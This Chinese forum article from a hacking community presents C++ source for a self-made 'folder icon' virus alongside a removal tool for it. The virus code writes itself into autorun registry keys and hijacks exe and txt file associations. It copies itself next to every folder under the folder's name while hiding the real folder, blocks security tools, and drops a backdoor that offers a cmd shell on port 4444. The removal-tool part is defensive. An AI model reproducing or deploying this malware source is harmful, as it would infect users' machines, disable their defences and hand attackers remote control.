首页 网络安全 安全学院 查看内容

文件夹图标病毒以及专杀的实现

2009-4-29 11:13 783 0

摘要: 注:本文首发邪恶八进制社区,欢迎转载,但请著名原始出处。一、大致情况介绍      "autorun.inf"传播的u盘病毒前一段时间可以说是轰轰烈烈,但随着一大批安全软件的封杀,...
关键词: nbsp 病毒 VirousName 文件 HKEY MessageBox 文件夹 注册表 Hijack windows

注:本文首发邪恶八进制社区,欢迎转载,但请著名原始出处。一、大致情况介绍      "autorun.inf"传播的u盘病毒前一段时间可以说是轰轰烈烈,但随着一大批安全软件的封杀,基本上已经没有生存空间了。而文件夹图标病毒或木马就在这攻与防的对抗中应运而生了。  我在“windows xp sp3”平台下使用“visual c++ 6.0”实现了文件夹图标病毒(附带简单后门),以及相应的专杀工具。二、功能介绍  (1)病毒功能介绍:    1、开机自动运行,写注册表实现的    2、劫持(Hijack)“exe”和“txt”文件运行病毒,并实现正常运行“exe”文件和使用“notepad.exe”打开“txt”文件    3、当运行时,查找同目录下是否有同名的文件夹,若有则先打开文件夹    4、判断是否第一次运行,如果不是则退出,通过查找窗口名实现    5、隐藏文件扩展名,彻底隐藏系统属性和隐藏属性的文件,禁用注册表,写注册表实现    6、后台运行,查找磁盘文件夹,将自身复制到磁盘跟目录下,创建同名的病毒体,并将原文件夹设为系统属性和隐藏属性。    7、屏蔽常用安全工具,如“IceSword”、“wscheck”等,在打开“exe”文件时判断    8、释放后门程序,注册为开机自启动,后门在4444端口监听,使用nc连接,使用密码“FuckYou”能获得一个“cmd shell”。后门程序是用资源文件的形式加在病毒中的,并用upx加了壳。  (2)专杀功能介绍:    1、枚举磁盘,查找和隐藏属性文件夹同名的可执行文件,若有,则定为病毒    2、获取进程列表,查找进程中是否有病毒,若有,则关闭进程,并删除病毒文件,若无,则删除病毒文件    3、修复注册表,包括:启用注册表、开机启动项、隐藏文件项、劫持“exe、txt”文件项    4、立即生效功能,重启“explorer.exe”进程三、关键代码介绍:  (1)病毒介绍:  1、打开同目录下同名文件夹:bool CVirousApp::OpenFuckFile(){                char CmdLine[MAX_PATH]={0};        char DirUrl[MAX_PATH]={0};        char HiJack[MAX_PATH]={0};        if(!GetCurrentDirectory(MAX_PATH,DirUrl))                return FALSE;                char ch='\\';        if(ch!=*(DirUrl+strlen(DirUrl)-1))        {        strcat(DirUrl,"\\");        }        //此处只在系统根目录下有效        sprintf(HiJack,"%s%s\\",DirUrl,AfxGetApp()->m_pszAppName);    //判断是否存在,可以打开        if(-1==_access(HiJack,0))                return FALSE;        else        {                sprintf(CmdLine,"explorer.exe %s",HiJack);                        //                MessageBox(CmdLine); //For a Test                if(WinExec(CmdLine,SW_SHOW)<31)                        return FALSE;        }        return TRUE;}  2、劫持“txt、exe”文件,并屏蔽常用安全工具        //定义特征字符串        BOOL check=TRUE;        int len=7;        char *FuckExe[]={"USBCleaner",                              "Kis",                          "Kav",                          "IceSword",                              "Kill",                              "WSYSCHECK",                          "360"};            //获取参数并判断        if(strcmp(m_lpCmdLine,""))//如果有参数        {        //判断特征字符串                int i;                for(i=0;i<len;i++)                {                        if(strstr(_strupr(_strdup(m_lpCmdLine)),                                _strupr(_strdup(FuckExe))))                        {  check=FALSE; break;}                }                                //                LPTSTR ext;                //      ext=wcschr(m_lpCmdLine,_T("."))+1;        CString cmd;                //                if(!wcscmp(ext,_T("txt")))                if(strstr(m_lpCmdLine,_T(".txt"))||strstr(m_lpCmdLine,_T(".TXT")))                {                        cmd.Format("%s %s","notepad.exe",m_lpCmdLine);                }                else                        if(strstr(m_lpCmdLine,_T(".exe"))||strstr(m_lpCmdLine,_T(".EXE")))                        {                                //此处不完美,判断文件名                                if(!check)                                {                                        //                                        AfxMessageBox("文件已损坏!");                                        ::MessageBox(NULL,"文件已损坏!请重新安装应用程序!","Microsoft",MB_OK);                                        return FALSE;                                }                                else                                        cmd.Format("%s",m_lpCmdLine);                        }                        WinExec(cmd,SW_NORMAL);    }        else                //打开文件                OpenFuckFile();  3、自启动及实现劫持"exe、txt"文件    //向系统目录下拷贝程序        char FileSource[MAX_PATH]={0};        char FileNew[MAX_PATH]={0};                HMODULE hModule;        hModule=GetModuleHandle(NULL);        GetModuleFileName(hModule,FileSource,MAX_PATH);        CloseHandle(hModule);                GetSystemDirectory(FileNew,MAX_PATH);    strcat(FileNew,"\\SysKernel.exe");                CopyFile(FileSource,FileNew,TRUE);        SetFileAttributes(FileNew, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);    //写注册表,弄个自启动        WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",                "SysKernel",REG_SZ,FileNew,0,0);        //写注册表,进行映像劫持        char Hijack[MAX_PATH]={0};        sprintf(Hijack,"%s %%1",FileNew);        WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Classes\\txtfile\\shell\\open\\command",                NULL,REG_SZ,Hijack,0,1);        WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Classes\\exefile\\shell\\open\\command",                NULL,REG_SZ,Hijack,0,1);4、释放后门,并启动之BOOL CVirousDlg::ReleaseResource(WORD wResourceID, LPCTSTR lpType, LPCTSTR lpFileName){        HGLOBAL hRes;        HRSRC hResInfo;        HANDLE hFile;        DWORD dwBytes;                hResInfo = FindResource(NULL, MAKEINTRESOURCE(wResourceID), lpType);        if (hResInfo == NULL)                return FALSE;        hRes = LoadResource(NULL, hResInfo);        if (hRes == NULL)                return FALSE;        hFile = CreateFile                (                lpFileName,                 GENERIC_WRITE,                 FILE_SHARE_WRITE,                 NULL,                 CREATE_ALWAYS,                FILE_ATTRIBUTE_NORMAL,                 NULL                );                if (hFile == NULL)                return FALSE;        WriteFile(hFile, hRes, SizeofResource(NULL, hResInfo), &dwBytes, NULL);        CloseHandle(hFile);                return TRUE;}VOID CVirousDlg::ReleaseDoor(){        char        strSystemPath[MAX_PATH];        GetSystemDirectory(strSystemPath, sizeof(strSystemPath));        lstrcat(strSystemPath, "\\SysService.exe");        ReleaseResource(IDR_BIN, "BIN", strSystemPath);        SetFileAttributes(strSystemPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);        //实现后门自启动        WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",                "SysService",REG_SZ,strSystemPath,0,0);        WinExec(strSystemPath,SW_HIDE);}5、遍历磁盘并拷贝自身//遍历系统磁盘BOOL CVirousDlg::FuckFile(){        DWORD dwNumBytesForDriveStrings;//实际存储驱动器号的字符串长度        LPSTR lp;        CString strLogdrive;                //获得实际存储驱动器号的字符串长度        dwNumBytesForDriveStrings=GetLogicalDriveStrings(0,NULL);//*sizeof(TCHAR);                //如果字符串不为空,则表示有正常的驱动器存在        if (dwNumBytesForDriveStrings!=0)         {                lp=new char[dwNumBytesForDriveStrings];                GetLogicalDriveStrings(dwNumBytesForDriveStrings,lp);                while (*lp!=0)                 {                        DoBad(lp);                        lp=strchr(lp,0)+1;                }                return TRUE;        }        else                 return FALSE;}//干坏事VOID CVirousDlg::DoBad(char DriveBuf[]){        CFileFind finder;                // build a string with wildcards        CString strWildcard(DriveBuf);        strWildcard += _T("*.*");                char FileSource[MAX_PATH]={0};        char FileNew[MAX_PATH]={0};        HMODULE hModule;        hModule=GetModuleHandle(NULL);        GetModuleFileName(hModule,FileSource,MAX_PATH);//        CloseHandle(hModule);        // start working for files        BOOL bWorking = finder.FindFile(strWildcard);        while (bWorking)        {//                nReg++;                bWorking = finder.FindNextFile();                                // skip . and .. files; otherwise, we'd                // recur infinitely!                                if (finder.IsDots())                        continue;                                // if it's a directory, recursively search it                                if (finder.IsDirectory()&&!finder.IsSystem()&&!finder.IsHidden())                {                        nReg++;                        if(!SetFileAttributes(finder.GetFilePath(),                                FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM))                                continue;            sprintf(FileNew,"%s%s",finder.GetFilePath(),".exe");                        CopyFile(FileSource,FileNew,TRUE);                        if(FUCKREG==nReg)                        {                                WriteReg(FileNew);                        }                }        }                finder.Close();}  (2)专杀工具介绍:  1、扫描并杀灭病毒void CKillDlg::OnOK() {        GetDlgItem(IDOK)->EnableWindow(FALSE);        // TODO: Add extra validation here        //获取进程列表        GetProcessArray();        KillInterVirous();    //开始扫描文件        DWORD dwNumBytesForDriveStrings;//实际存储驱动器号的字符串长度        HANDLE hHeap;        LPSTR lp;                //获得实际存储驱动器号的字符串长度        dwNumBytesForDriveStrings=GetLogicalDriveStrings(0,NULL)*sizeof(TCHAR);                //如果字符串不为空,则表示有正常的驱动器存在        if (dwNumBytesForDriveStrings!=0)        {                //分配字符串空间                hHeap=GetProcessHeap();                lp=(LPSTR)HeapAlloc(hHeap,HEAP_ZERO_MEMORY,                        dwNumBytesForDriveStrings);                                //获得标明所有驱动器的字符串                GetLogicalDriveStrings(HeapSize(hHeap,0,lp),lp);                                //将驱动器一个个放到下拉框中                while (*lp!=0)                {            //在此磁盘下扫描                        KillFile(lp);                        lp=_tcschr(lp,0)+1;                }                CString VirReport;                VirReport.Format("%s%d%s","杀毒结束,共杀毒:",VirousNum,",请进行注册表修复!");                MessageBox(VirReport);        }        else                 MessageBox("Can't Use The Function GetLogicalDriveStrings!");        GetDlgItem(IDOK)->EnableWindow(TRUE);    GetDlgItem(ID_FIXREG)->EnableWindow(TRUE);//        CDialog::OnOK();}//杀灭正在运行的病毒void CKillDlg::KillInterVirous(){        KillVirous("C:\\WINDOWS\\system32\\SysKernel.exe");        KillVirous("C:\\WINDOWS\\system32\\SysService.exe");        KillVirous("C:\\WINDOWS\\system32\\XP-D41D8CD9.EXE");}void CKillDlg::KillFile(char DriveName[]){    CString VirousName;        CFileFind finder;                // build a string with wildcards        CString strWildcard(DriveName);        strWildcard += _T("*.*");                        // start working for files        BOOL bWorking = finder.FindFile(strWildcard);                while (bWorking)        {                //                nReg++;                bWorking = finder.FindNextFile();                                // skip . and .. files; otherwise, we'd                // recur infinitely!                                if (finder.IsDots())                        continue;                                // if it's a directory, recursively search it                                if (finder.IsDirectory()&&finder.IsHidden())                {                        VirousName=finder.GetFilePath();                        if("\\"==VirousName.Right(1))                                VirousName=VirousName.Left(VirousName.GetLength()-1);                        VirousName+=".exe";                        if(_access(VirousName,0)!=-1)                        {                                VirousNum++;                                m_ctrlListVirous.AddString(VirousName);                                UpdateData(FALSE);                                KillVirous(VirousName);                                SetFileAttributes(finder.GetFilePath(),FILE_ATTRIBUTE_NORMAL);                         }                }        }        finder.Close();        }//删除染毒文件void CKillDlg::KillVirous(const char VirousName[]){        if(CheckRun(VirousName))        {                HANDLE hProcess;                hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessId[num]);                if(!hProcess)                        MessageBox("打开病毒进程失败!");                if(!TerminateProcess(hProcess,100))                        MessageBox("无法结束病毒进程!");                Sleep(100);        }        SetFileAttributes(VirousName,FILE_ATTRIBUTE_NORMAL); //        Sleep(100);        if(!DeleteFile(VirousName))//                MessageBox("无法删除病毒文件!");       return;}//检查病毒是否运行,是:TRUE 否:FALSEbool CKillDlg::CheckRun(const char VirousName[]){        CString strVirName=strrchr(VirousName,'\\')+1;        for(int i=0;i<m_Process.GetSize();i++)        {                if(!m_Process.GetAt(i).CompareNoCase(strVirName))                {                        num=i;                        return TRUE;                }        }        return FALSE;}  2、获取进程列表void CKillDlg::GetProcessArray(){        //初始化        HANDLE hProcessSnap = NULL;        PROCESSENTRY32 pe32 = {0};        //获得句柄        hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);        if(hProcessSnap == (HANDLE)-1)        {                MessageBox("CreateToolhelp32Snapshot()failed!");                return;        }        pe32.dwSize = sizeof(PROCESSENTRY32);                //列举所有进程名称        if (Process32First(hProcessSnap, &pe32))        {                do                {                        //将进程名加到列表中                        m_Process.Add(pe32.szExeFile);                //        dwProcessId.Add(pe32.th32ProcessID);                        dwProcessId[m_Process.GetSize()-1]=pe32.th32ProcessID;                        if(strstr(pe32.szExeFile,"explorer.exe"))                                explorerId=pe32.th32ProcessID;                }                while (Process32Next(hProcessSnap, &pe32));//直到列举完毕        }        else        {                MessageBox("Process32Firstt() failed!");        }        //关闭句柄        CloseHandle (hProcessSnap);   }  3、修复注册表void CKillDlg::OnFixreg() {//        GetDlgItem(ID_FIXREG)->EnableWindow(FALSE);    GetDlgItem(ID_FIXREG)->EnableWindow(FALSE);        Sleep(100);        // TODO: Add your control notification handler code here        //解锁使用注册表        WriteRegEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",                "DisableRegistryTools",REG_DWORD,NULL,0,1);        //修复显示隐藏文件        WriteRegEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL",                "CheckedValue",REG_DWORD,NULL,1,1);        //显示文件扩展名        WriteRegEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced",                "HideFileExt",REG_DWORD,NULL,0,1);                //修复映像劫持        char Hijack[MAX_PATH]={0};        sprintf(Hijack,"%s %%1","c:\\windows\\notepad.exe");        //        MessageBox(Hijack);        WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Classes\\txtfile\\shell\\open\\command",                NULL,REG_SZ,Hijack,0,1);        ZeroMemory(Hijack,MAX_PATH);        sprintf(Hijack,"\"%%1\" %%*");        WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Classes\\exefile\\shell\\open\\command",                NULL,REG_SZ,Hijack,0,1);        //删除自动启动        if(!WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",                "SysKernel",REG_SZ,NULL,0,3))        {}//                MessageBox("请先扫描病毒或已经清除!");        if(!WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",                "SysService",REG_SZ,NULL,0,3))        {}//                MessageBox("请先扫描病毒或已经清除!");    //对付1.44M的病毒        if(!WriteRegEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",                "XP-D41D8CD9",REG_SZ,NULL,0,3))        {}    MessageBox("修复注册表成功!请点击立即生效!");//        GetDlgItem(ID_FIXREG)->EnableWindow(TRUE);        GetDlgItem(ID_EXPLORER)->EnableWindow(TRUE);}// 写注册表的指定键的数据(Mode:0-新建键数据 1-设置键数据 2-删除指定键 3-删除指定键项) from NameLess114int CKillDlg::WriteRegEx(HKEY MainKey, LPCTSTR SubKey, LPCTSTR Vname, DWORD Type, char *szData, DWORD dwData, int Mode){        HKEY  hKey;         DWORD dwDisposition;            int   iResult =0;                __try        {                        //        SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS);                switch(Mode)                                {                                        case 0:                        if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS)                                __leave;                                 case 1:                                if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)                                                                         __leave;                                                                                   switch(Type)                        {                                         case REG_SZ:                                         case REG_EXPAND_SZ:                                                                                  if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS)                                                                          iResult =1;                                                                                         break;                        case REG_DWORD:                if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS)                                          iResult =1;                                                                                          break;                        case REG_BINARY:                                break;                        }                        break;                                                        case 2:                                if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)                                                                        __leave;                                                if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS)                                                                iResult =1;                                break;                                        case 3:                                if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)                                                                        __leave;                                                if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS)                                                                iResult =1;                                break;                }        }        __finally         {                RegCloseKey(MainKey);                                RegCloseKey(hKey);        }        return iResult;}四、后记  这是偶第一次在八进制论坛发帖,欢迎大家批评指正,也希望结交广大爱好网络安全的朋友。    偶的QQ:971210984 邮箱:[email protected]   文件夹图标病毒及专杀工具的源文件见附件。 var tagarray = ['A1Pass','免杀','逆向工程','杀毒软件原理','三步走','EXP','ms08-067','讨论','内网','架构','感染','资源','捆绑','XSS','误区','ms08067','核心溢出','UTF-8','Tomcat','Apache','西天','唐僧','灌水','取经','MyCcl','密码效验和','ratproxy','90hackit','rsa','EasyRecovery','DataExplorer','Serv-U','Buffer','Office','WPS','Overflow','Microsoft','内核编程','DDoS','Ghost','数据恢复','手机号','收集','源代码','隐藏驱动','百度','驱动编程','机器狗','Oracle','招聘','猎头','属主','IIS'];var tagencarray = ['A1Pass','%E5%85%8D%E6%9D%80','%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B','%E6%9D%80%E6%AF%92%E8%BD%AF%E4%BB%B6%E5%8E%9F%E7%90%86','%E4%B8%89%E6%AD%A5%E8%B5%B0','EXP','ms08-067','%E8%AE%A8%E8%AE%BA','%E5%86%85%E7%BD%91','%E6%9E%B6%E6%9E%84','%E6%84%9F%E6%9F%93','%E8%B5%84%E6%BA%90','%E6%8D%86%E7%BB%91','XSS','%E8%AF%AF%E5%8C%BA','ms08067','%E6%A0%B8%E5%BF%83%E6%BA%A2%E5%87%BA','UTF-8','Tomcat','Apache','%E8%A5%BF%E5%A4%A9','%E5%94%90%E5%83%A7','%E7%81%8C%E6%B0%B4','%E5%8F%96%E7%BB%8F','MyCcl','%E5%AF%86%E7%A0%81%E6%95%88%E9%AA%8C%E5%92%8C','ratproxy','90hackit','rsa','EasyRecovery','DataExplorer','Serv-U','Buffer','Office','WPS','Overflow','Microsoft','%E5%86%85%E6%A0%B8%E7%BC%96%E7%A8%8B','DDoS','Ghost','%E6%95%B0%E6%8D%AE%E6%81%A2%E5%A4%8D','%E6%89%8B%E6%9C%BA%E5%8F%B7','%E6%94%B6%E9%9B%86','%E6%BA%90%E4%BB%A3%E7%A0%81','%E9%9A%90%E8%97%8F%E9%A9%B1%E5%8A%A8','%E7%99%BE%E5%BA%A6','%E9%A9%B1%E5%8A%A8%E7%BC%96%E7%A8%8B','%E6%9C%BA%E5%99%A8%E7%8B%97','Oracle','%E6%8B%9B%E8%81%98','%E7%8C%8E%E5%A4%B4','%E5%B1%9E%E4%B8%BB','IIS'];parsetag(); 附件 Virous.rar (3.4 MB) 2008-12-18 11:37, 下载次数: 1106 文件夹图标病毒 Kill.rar (3.31 MB) 2008-12-18 11:37, 下载次数: 2329
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部